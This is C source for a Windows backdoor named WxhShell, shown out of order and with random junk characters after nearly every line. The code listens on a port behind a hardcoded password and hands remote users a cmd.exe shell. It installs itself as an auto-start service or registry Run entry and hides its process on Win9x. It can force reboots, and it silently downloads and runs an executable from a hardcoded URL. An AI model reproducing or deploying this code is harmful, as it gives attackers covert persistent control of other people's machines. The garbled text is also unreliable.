    if(Boot(SHUTDOWN))  HcS^3^Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F4(U~n<  
    else { ,.MG&O  
    closesocket(wsh); 8>;o MM  
    ExitThread(0); D|3QLG  
    } CGl+!t{  
    break; irj}:f;!eF  
    } |ema-pRC  
  // 获取shell pvxqeC9`  
  case 's': { W?Abx  
    CmdShell(wsh); ?+o7Y1 k,  
    closesocket(wsh); T7_rnEOO   
    ExitThread(0); S9055`v5  
    break; )X$n'E  
  } =DwH*U /YR  
  // 退出 o;C)!  
  case 'x': { y N%Pe:R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q 5TyS8  
    CloseIt(wsh); :u93yH6~8  
    break; uW_ /7ex  
    } < _uv!N  
  // 离开 X]%4QIeS  
  case 'q': { o;/F=Zp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :8T@96]P  
    closesocket(wsh); <QLj6#d7Y  
    WSACleanup(); )@M|YM1+  
    exit(1); *9^k^h(r&4  
    break; ,1h(k<-  
        } vB4qJ{f  
  } 5X|aa>/  
  }  :Xr3 3  
74wa  
  // 提示信息 7@]hu^)rry  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #]^`BQ>  
} hV>Ey^Ty  
  } ^E*C~;^S  
)A;<'{t #L  
  return;  /t P  
} 1h{_v!X  
X)5O@"4 ?  
// shell模块句柄 mz '8  
int CmdShell(SOCKET sock) zaPR>:r0  
{ CcE TS}Q0C  
STARTUPINFO si; Pfy;/}u^c  
ZeroMemory(&si,sizeof(si)); <!$Cvx\U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $yJfAR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ga%77t|jm3  
PROCESS_INFORMATION ProcessInfo; Q"uu&JC  
char cmdline[]="cmd"; vUA`V\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {+}Lc$O#C  
  return 0; IA^DfdZY  
} =2'^ :4Z  
0Z(b/fdS  
// 自身启动模式 VlvDodV  
int StartFromService(void) ypVr"fWB  
{ e@Y R/I8my  
typedef struct dq&d>f1  
{ GrIdQi^8  
  DWORD ExitStatus; FA,CBn5%  
  DWORD PebBaseAddress; " WL  
  DWORD AffinityMask; _bsfM;u.%  
  DWORD BasePriority; H8U*oLlc  
  ULONG UniqueProcessId; x$sQ .aT  
  ULONG InheritedFromUniqueProcessId; w"J(sVy4  
}   PROCESS_BASIC_INFORMATION; ~coG8r"o  
S?$T=[yY)  
PROCNTQSIP NtQueryInformationProcess; )I_I?e  
af{K4:I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c8MNo'h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qI:wm=  
Stpho4+/y  
  HANDLE             hProcess; ) 'KHUa9  
  PROCESS_BASIC_INFORMATION pbi; " OtLJ  
Dr609(zg^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f}4h}Cq  
  if(NULL == hInst ) return 0; hG]20n2  
E}+A)7mA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /@e\I0P^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I&0yUhn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |n/id(R+  
1??RX}8[L+  
  if (!NtQueryInformationProcess) return 0; !b=$FOC>  
^&%?Q_]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iV=#'yY  
  if(!hProcess) return 0; c$;enAf@  
"G:>}cs%?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AS;{{^mM(  
~XRr }z_Lq  
  CloseHandle(hProcess); suwj1qYJ4  
7[\B{N9&W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `{":*V   
if(hProcess==NULL) return 0; ufOaD7  
<j' #mUzd  
HMODULE hMod; `P~RG.HO  
char procName[255]; (;3jmdJhK  
unsigned long cbNeeded; U_?RN)>j  
49 D*U5o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B~IOM  
wv$=0zF  
  CloseHandle(hProcess); %;S5_K,  
gg9W7%t/  
if(strstr(procName,"services")) return 1; // 以服务启动 }sZ]SE  
/k,p]/e  
  return 0; // 注册表启动 t z{]H9  
} )_ uK(UNZ5  
'*:YC  
// 主模块 .O(UK4Mb  
int StartWxhshell(LPSTR lpCmdLine) K!X8KPo  
{ o2L/8q.  
  SOCKET wsl; QX4I+x~oo\  
BOOL val=TRUE; 0IK']C  
  int port=0; i F Ab"VA  
  struct sockaddr_in door; 5`J. ic  
K+Qg=vGY  
  if(wscfg.ws_autoins) Install(); %-dGK)?  
=Ev } v  
port=atoi(lpCmdLine); q b'ka+X  
a Sj$62G"  
if(port<=0) port=wscfg.ws_port; dxA=gL2  
k&2I(2S  
  WSADATA data; 03xQ%"TU<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x]:mc%4-Z  
dNR4h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G2rvi=8=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <8Ad\MU  
  door.sin_family = AF_INET; Nuj%8om6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J_,y?}.e3  
  door.sin_port = htons(port); 8K qv)FjB  
!O\r[c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '*pq@|q;t  
closesocket(wsl); {`:!=  
return 1; R] dB Uu  
} laAG%lq/'  
)}R0'QGd  
  if(listen(wsl,2) == INVALID_SOCKET) { 2Y,s58F  
closesocket(wsl); @`3)?J[w  
return 1; '=r.rW5  
} {974m` 5  
  Wxhshell(wsl); 3,GSBiK3}  
  WSACleanup(); X*b0qJ Z  
"371`!%  
return 0; =3@^TW(j  
JS4pJe\q  
} </eh^<_~  
kmf4ax h1  
// 以NT服务方式启动 8=$@azG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CyE.q^Wm  
{ =(o$1v/k  
DWORD   status = 0; (C!fIRY  
  DWORD   specificError = 0xfffffff; kAqk~.  
J[9jNCq|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OAv/P|n=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N%0Z> G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9 i"3R0HN  
  serviceStatus.dwWin32ExitCode     = 0; >0>M@s  
  serviceStatus.dwServiceSpecificExitCode = 0; -n6C~Yx  
  serviceStatus.dwCheckPoint       = 0; Yd@9P 2C  
  serviceStatus.dwWaitHint       = 0; nX   
h"[ ][  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >IRo]-,  
  if (hServiceStatusHandle==0) return; YpiSH(70`  
} nQHP4'  
status = GetLastError(); %K zURv  
  if (status!=NO_ERROR) 5K8\hoW{  
{ j"f ]pzg&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )%Y$F LB  
    serviceStatus.dwCheckPoint       = 0; <#c2Hg%jh  
    serviceStatus.dwWaitHint       = 0; 0^;{b^!(  
    serviceStatus.dwWin32ExitCode     = status; nkpQM$FW  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9AS,-5;XQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L)Kn8  
    return; PoC24#vS  
  } #0weN%  
I qma vnM#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {|a' =I#2  
  serviceStatus.dwCheckPoint       = 0; h.DQ6!?;s  
  serviceStatus.dwWaitHint       = 0; ;Eck7nRA)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &vLZj  
} Jg7IGU(dct  
,Qp58u2V  
// 处理NT服务事件,比如:启动、停止 nwz}&nR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 }:k w  
{ hj-M #a  
switch(fdwControl) E;%{hAD{  
{ 0O[q6!&]  
case SERVICE_CONTROL_STOP: iXBc ~S  
  serviceStatus.dwWin32ExitCode = 0; O^LzS&I*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @%RDw*L(  
  serviceStatus.dwCheckPoint   = 0; X2s=~)`#c  
  serviceStatus.dwWaitHint     = 0; KBXdr52"  
  { D|OX]3~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Q}G   
  } b+hZ<U/  
  return; w2 CgEJ %  
case SERVICE_CONTROL_PAUSE: K 5!k06;s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o8bV z2E  
  break; wZ29/{,  
case SERVICE_CONTROL_CONTINUE: )\t#e`3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t0?\5q  
  break; .NZ_dz$c  
case SERVICE_CONTROL_INTERROGATE: W(EU*~<UC  
  break; <>p\9rVp*^  
}; (xq25;|Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YckexfL  
} d!,V"*S  
l'c|I &Y]  
// 标准应用程序主函数 V<+d o|@F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ([s2F%S`@  
{ $lUZm\R|k  
lxV> rmD  
// 获取操作系统版本 qxk1Rzm?x  
OsIsNt=GetOsVer(); $vicxE~-E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O(CUwk  
0^zu T  
  // 从命令行安装 VYvHpsI  
  if(strpbrk(lpCmdLine,"iI")) Install(); *S*;rLH9c  
I/fERnHM/+  
  // 下载执行文件 h}.0Ne  
if(wscfg.ws_downexe) { g(|p/%H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cLX~NPD/  
  WinExec(wscfg.ws_filenam,SW_HIDE); _bFX(~37z?  
} S__+S7]Nr  
^-rb&kW@:  
if(!OsIsNt) { <.~j:GbsE  
// 如果时win9x,隐藏进程并且设置为注册表启动 _^Rf*G!  
HideProc(); vfmKYiLp  
StartWxhshell(lpCmdLine); E+csK*A7  
} . [*6W.X  
else ASPfzW2  
  if(StartFromService()) pZF`+6 42  
  // 以服务方式启动 lZ'NL bK  
  StartServiceCtrlDispatcher(DispatchTable); ,f4Hl%T;  
else v"\Q/5p  
  // 普通方式启动 o)srE5  
  StartWxhshell(lpCmdLine); D L<r2h  
(7&[!PS  
return 0; %5$yz|:  
} 8q}`4wCD$  
<{:$ ]3  
& Z*&&  
d8e6}C2v  
=========================================== KTd4pW?w  
  /zM  
Vtr 0=-m&  
LBbk]I  
x_AG=5OJX,  
 KGFmC[  
" 67%o83\  
x~Y]c"'D  
#include <stdio.h> ,accw}G  
#include <string.h> tBp dKJn##  
#include <windows.h> d%\en&:la  
#include <winsock2.h> d 6j'[  
#include <winsvc.h> (khjP ,  
#include <urlmon.h> ?kISAA4x  
x)5#*Q  
#pragma comment (lib, "Ws2_32.lib") <Hig,(=`.  
#pragma comment (lib, "urlmon.lib") ?3k;Yg/  
QzCu$ [  
#define MAX_USER   100 // 最大客户端连接数  ze{  
#define BUF_SOCK   200 // sock buffer Ks7DoXCvE  
#define KEY_BUFF   255 // 输入 buffer {H=DeQ  
l0l2fwz(  
#define REBOOT     0   // 重启 X70G@-w  
#define SHUTDOWN   1   // 关机 rK9X68)  
IEmtt^C  
#define DEF_PORT   5000 // 监听端口 ":tQYo]d  
wk' |gI[W  
#define REG_LEN     16   // 注册表键长度 mtvfG  
#define SVC_LEN     80   // NT服务名长度 uR"(0_  
UW8 8JA0  
// 从dll定义API $ nx&(V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IhhB^E|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uwU;glT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i9 8T+{4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %D:Mt|  
YP5V~-O/  
// wxhshell配置信息 .r[kNh@ b%  
struct WSCFG { 8fY1~\G:\  
  int ws_port;         // 监听端口 [f!sBJ!  
  char ws_passstr[REG_LEN]; // 口令 OjcxD5"v9  
  int ws_autoins;       // 安装标记, 1=yes 0=no =I-SQI8  
  char ws_regname[REG_LEN]; // 注册表键名  :RBp  
  char ws_svcname[REG_LEN]; // 服务名 NffZttN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t H`!?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PVC\&YF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QI0d:7!W1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "d^hY}Xx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E %FCOKw_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8*k#T\  
H<92tP4M  
}; *VmJydd  
j,?>Q4G  
// default Wxhshell configuration TO ^}z  
struct WSCFG wscfg={DEF_PORT, o4^rE<vJ  
    "xuhuanlingzhe", %3M1zZY  
    1, H.3+5 po  
    "Wxhshell", A'^y+42jY  
    "Wxhshell", &!x!j ,nT  
            "WxhShell Service", tF}Vs}  
    "Wrsky Windows CmdShell Service", c!{v/zOz  
    "Please Input Your Password: ", ROw9l!YF  
  1, Vcm9:,Xlw  
  "http://www.wrsky.com/wxhshell.exe", 87.b7 b.  
  "Wxhshell.exe" {9S=:  
    }; Lnc _)RF  
F@~zVu3'  
// 消息定义模块 6p|*H?|It  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T:p,!?kc7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,HO~NqmB4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;nW#Dn9  
char *msg_ws_ext="\n\rExit."; (U#4j 6Q  
char *msg_ws_end="\n\rQuit."; A%qlB[!:  
char *msg_ws_boot="\n\rReboot..."; Dl_y[ 9  
char *msg_ws_poff="\n\rShutdown..."; Y]!8Ymuww@  
char *msg_ws_down="\n\rSave to "; -!zyit5B  
e@}zp  
char *msg_ws_err="\n\rErr!"; ~M7 J{hK  
char *msg_ws_ok="\n\rOK!"; ?=}~]A5N  
]A+q:kP  
char ExeFile[MAX_PATH]; f?}~$agc  
int nUser = 0; ,<!_MNw[  
HANDLE handles[MAX_USER]; ^vw? 4O  
int OsIsNt; V4@ HIM  
wH&[Tg  
SERVICE_STATUS       serviceStatus; )GhMM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F0 x5(lp Q  
O4H %x  
// 函数声明 vu-QyPnS|w  
int Install(void); a7KP_[_(  
int Uninstall(void); oNH&VHjU  
int DownloadFile(char *sURL, SOCKET wsh); .hd<,\nW  
int Boot(int flag); Ry2rQM`  
void HideProc(void); tai  
int GetOsVer(void); rWzw7T~  
int Wxhshell(SOCKET wsl); vl+vzAd  
void TalkWithClient(void *cs); =23JE'^=  
int CmdShell(SOCKET sock); 46^LPC"x  
int StartFromService(void); :j2G0vHIl(  
int StartWxhshell(LPSTR lpCmdLine);  (o`"s~)  
OY$P8y3MY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }H2<w-,+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jF4h/((|EU  
H]>b<Cs  
// 数据结构和表定义 ~Mu=,OT  
SERVICE_TABLE_ENTRY DispatchTable[] = ;/.ZjTRw  
{ LU "e9  
{wscfg.ws_svcname, NTServiceMain}, 5R 6@A?vr  
{NULL, NULL} ETQ.A< v  
}; H3< `  
DY]\@<ez  
// 自我安装 #SWL$Vm>  
int Install(void) Ip_S8 ;;  
{ `}uOl C]I  
  char svExeFile[MAX_PATH]; --Dd'  
  HKEY key; ;;4xpg  
  strcpy(svExeFile,ExeFile); Ji %6/zV  
G+Vlaa/7  
// 如果是win9x系统,修改注册表设为自启动 ;533;(d* o  
if(!OsIsNt) { TK"!z(p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w s(9@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (W.euQy  
  RegCloseKey(key); F^Q[P4>m\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WPbWG$Li  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &Uqm3z?v  
  RegCloseKey(key); uYk4qorA  
  return 0; Nc4e,>$]&  
    } LeY!A#j  
  } 7vBB <\  
} iM'{,~8R5  
else { 6wV{}K^0  
RJMrSz$  
// 如果是NT以上系统,安装为系统服务 K]q9wR'q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5~WMb6/  
if (schSCManager!=0) 3W*O%9t7  
{ oe1Dm   
  SC_HANDLE schService = CreateService O/;$0`~hY  
  ( !M]_CPh]  
  schSCManager, +bnz%/v  
  wscfg.ws_svcname, h#p1wK;N  
  wscfg.ws_svcdisp, NG!~<Kx   
  SERVICE_ALL_ACCESS, [[fhfV+H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K<`"Sr  
  SERVICE_AUTO_START, |Tz/9t  
  SERVICE_ERROR_NORMAL, >icK]W  
  svExeFile, G~Oj}rn  
  NULL, lW F=bz0  
  NULL, 7X|M\WUq  
  NULL, ]stAC3  
  NULL, ;D5B$ @W>  
  NULL VU>s{_|{  
  ); P<iS7Ys+  
  if (schService!=0) WFBg3#p  
  { , O=@I  
  CloseServiceHandle(schService); ,"/<N*vh  
  CloseServiceHandle(schSCManager); |0Kj0u8T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w}Q|*!?_  
  strcat(svExeFile,wscfg.ws_svcname); ,nO:Pxn|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N"~P` H![x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )4[{+OJa  
  RegCloseKey(key); >c~~i-=  
  return 0; mea]m)P  
    } 7{oG4X!  
  } SZ}t_w `  
  CloseServiceHandle(schSCManager); Mnpb".VU#T  
} \IQP` JR  
} rnxO2   
7`3he8@ze  
return 1; BaIh,iu  
} ["N>Po  
i3 k ',8  
// 自我卸载 :SSlUl4sU$  
int Uninstall(void) 1{+Ni{  
{ "42u0rH0J  
  HKEY key; /Ny/%[cu  
U[~BW[[@f  
if(!OsIsNt) { Nzc1)t=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9s)YPlDz  
  RegDeleteValue(key,wscfg.ws_regname); 7I4G:-V:^  
  RegCloseKey(key); D@H'8C\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yg%V  
  RegDeleteValue(key,wscfg.ws_regname);  6<A\U/  
  RegCloseKey(key); WPyd ^Y<  
  return 0; %@(6,^3%i  
  } hMw}[6m  
} zqYfgV  
} LJZEM;;}  
else { 3 Yl[J;i  
u7`<m.\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z.m.Uyz{7  
if (schSCManager!=0) X%,;IW]a  
{ X4i$,$C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nngL,-v#F  
  if (schService!=0) 2!dIW5I  
  { h bj^!0m  
  if(DeleteService(schService)!=0) { {NE;z<,*:  
  CloseServiceHandle(schService); /eR@&!D '  
  CloseServiceHandle(schSCManager); LnZz=  
  return 0; }W<]fK  
  } sr#, S(p  
  CloseServiceHandle(schService); &nPv%P,e  
  } =KT7ZSTV  
  CloseServiceHandle(schSCManager); r3Z-mJ$:  
} )." zBc#  
} @tjC{?5Y  
l%B1JGu*F  
return 1; Re<X~j5]  
} 6@o_MtI  
WP^%[?S2  
// 从指定url下载文件 x)#k$ QU  
int DownloadFile(char *sURL, SOCKET wsh) }9P)<[>  
{ U$VTk  
  HRESULT hr; ;?inf`t  
char seps[]= "/"; |c8p{)  
char *token; jopC\Z  
char *file; \/K>Iv'$  
char myURL[MAX_PATH]; Q;r 0#"  
char myFILE[MAX_PATH]; 7F?^gMi  
; @Gm@d  
strcpy(myURL,sURL); &$hfAG]"  
  token=strtok(myURL,seps); @uY%;%Pa8  
  while(token!=NULL) s'\"%~nF<  
  { e%'9oAz  
    file=token; # FaR?L![Y  
  token=strtok(NULL,seps); "cJ5Fd:*  
  } tGmyTBgx  
HdWghxz?)  
GetCurrentDirectory(MAX_PATH,myFILE); P'ZWAxd  
strcat(myFILE, "\\"); :Fj4YP"  
strcat(myFILE, file); 'U}i<^,c  
  send(wsh,myFILE,strlen(myFILE),0); E C7f  
send(wsh,"...",3,0); 3)0*hq&83  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vn}Vb+@R  
  if(hr==S_OK) ^@X =v`C  
return 0; N@)4H2_u \  
else Hg(\EEe  
return 1; E? F @  
7Ox vq^[  
} jIdhmd* $z  
 mH?^3T  
// 系统电源模块 W97Ka}Y  
int Boot(int flag) k7y!! AV  
{ I8^z\ef&  
  HANDLE hToken; j-{WPJa4\  
  TOKEN_PRIVILEGES tkp; 8-8= \  
,u]kZ]  
  if(OsIsNt) { J_P2%b=C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4TR:bQZs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6dq U4  
    tkp.PrivilegeCount = 1; )sNtw Sl^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3wR5:O$H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hDp'=}85@  
if(flag==REBOOT) { kf5921(P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QX(:!b  
  return 0; p3x(:=   
} yY_]YeeR  
else { de ](l687I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `hH1rw@7<  
  return 0; tO~H/0  
} .Uih|h  
  } |y'q`cY  
  else { (\R"v^  
if(flag==REBOOT) { &x=<>~Ag3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) * 5P/&*c|  
  return 0; e[e2X<&0RT  
} Uc9Uj  
else { .2Rh_ful  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OB$A"XGAEV  
  return 0; >/'WU79TYE  
} W BiBtU  
} *jW$AH  
T\c dtjk  
return 1; lXz<jt@5  
} 5Vvy:<.la  
msoE8YK&tg  
// win9x进程隐藏模块 e dD(s5  
void HideProc(void) O>k.sO <  
{ #vS>^OyP  
pCg0xbc`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1^$Io}o:S  
  if ( hKernel != NULL ) _N<qrH^;  
  { `,7BU??+u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OK2wxf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .eeM&n;c  
    FreeLibrary(hKernel); ^AEg?[q  
  } DsFrA]  
2&Efqy8}DZ  
return; * |,V$  
} EIf~>AI  
Crey}A/N  
// 获取操作系统版本 m*a0V  
int GetOsVer(void) 0c`wJktWK  
{ E&"bgwav{(  
  OSVERSIONINFO winfo; xwz2N5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k'u2a  
  GetVersionEx(&winfo); U1&m-K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9vVYZ}HC  
  return 1; Xt$?Kx_,  
  else q|Ga   
  return 0; ]C'r4Ch^  
} fHe3 :a5+W  
Q4Cw{2r  
// 客户端句柄模块 8# 9.a]AX  
int Wxhshell(SOCKET wsl) o{ U= f6  
{ ThFI=K  
  SOCKET wsh; 1s1$J2LX  
  struct sockaddr_in client; "S6d ^  
  DWORD myID; n!f @JHL  
.Z9Bbab:  
  while(nUser<MAX_USER) %40|7 O  
{ `XI1,&Wp7  
  int nSize=sizeof(client); ^#_@Kq%th  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zR]l2zL3  
  if(wsh==INVALID_SOCKET) return 1; 38JvJR yK}  
FVHEb\Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HPu nNsA  
if(handles[nUser]==0) k2O==IG]6  
  closesocket(wsh); sdrE4-zd  
else QhN5t/Hr  
  nUser++; hGzj}t W8d  
  } cp]\<p('A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !v$hqNt7  
6&h,eQ!  
  return 0; W${0#qq  
} wl}Q|4rZ  
ve'hz{W  
// 关闭 socket I)n%aTfo8  
void CloseIt(SOCKET wsh) X(N!y"z  
{ O-q [#P  
closesocket(wsh); z,$^|'pP  
nUser--; [?_^Cy  
ExitThread(0); PYW~x@]k%,  
} qJrK?:O;  
n{=vP`V_  
// 客户端请求句柄 kOeW,:&65  
void TalkWithClient(void *cs) 9Yd<_B#  
{ N9idk}T  
 w8$8P  
  SOCKET wsh=(SOCKET)cs; arRb q!mO  
  char pwd[SVC_LEN]; '\=aSZVO  
  char cmd[KEY_BUFF]; _-^a8F>/19  
char chr[1]; CKy' 8I9  
int i,j; PkMN@JS  
`l'z#\  
  while (nUser < MAX_USER) { ;",W&HQbE  
l*":WzRGvF  
if(wscfg.ws_passstr) { <V>]-bl/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5{L~e>oS9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (gQP_Oa(  
  //ZeroMemory(pwd,KEY_BUFF); 2.qEy6  
      i=0; o7;lR?  
  while(i<SVC_LEN) { I w~R@,  
+<a-;e{  
  // 设置超时 e ^2n58  
  fd_set FdRead; ,` 6O{Z~  
  struct timeval TimeOut; -U.>K,M  
  FD_ZERO(&FdRead); 0*]n#+=  
  FD_SET(wsh,&FdRead); ";yey]  
  TimeOut.tv_sec=8; L7;8:^  v  
  TimeOut.tv_usec=0;  k{d]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z{`K_s%5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <hvs{}TS  
-M5vh~Tp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JlR$"GU  
  pwd=chr[0]; x{4{.s%+:  
  if(chr[0]==0xd || chr[0]==0xa) { & %A&&XT9  
  pwd=0; 4a}[&zm(5  
  break; B>.x@(}V~  
  } sPX&XqWx  
  i++; o=J-Ju  
    } Kv0V`}<Yc  
4Hy/K^Ci  
  // 如果是非法用户,关闭 socket !6!Gx:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %5RR<[_/;  
} ;NU-\<Q{  
ja^_Lh9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L"bZ~'y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Y-~7@  
y+3+iT@i  
while(1) { k/P.[5  
{ETM >  
  ZeroMemory(cmd,KEY_BUFF); n,U?]mr  
XeX\u3<D  
      // 自动支持客户端 telnet标准   m??Py"1y  
  j=0; w4(L@1  
  while(j<KEY_BUFF) { CYRZ2Yrk?"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4-~Z{#-  
  cmd[j]=chr[0]; jp_|pC'  
  if(chr[0]==0xa || chr[0]==0xd) { j$K*R."  
  cmd[j]=0; gg >QXui  
  break; v3#,Z!  
  }  0j_kK  
  j++; q`,%L1c4  
    } [Ur\^wS  
Y{D%v  
  // 下载文件 8[;vC$  
  if(strstr(cmd,"http://")) { *,mI=1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AHRJ7l;a  
  if(DownloadFile(cmd,wsh)) ak7kb75o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XeX"IhgS>E  
  else jUEgu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fqhL"Ah   
  } RWc<CQcL"  
  else { _bGkJ=  
< Hkq  
    switch(cmd[0]) { B2e"   
  7i*eKC`ZqK  
  // 帮助 d{"-iw)t  
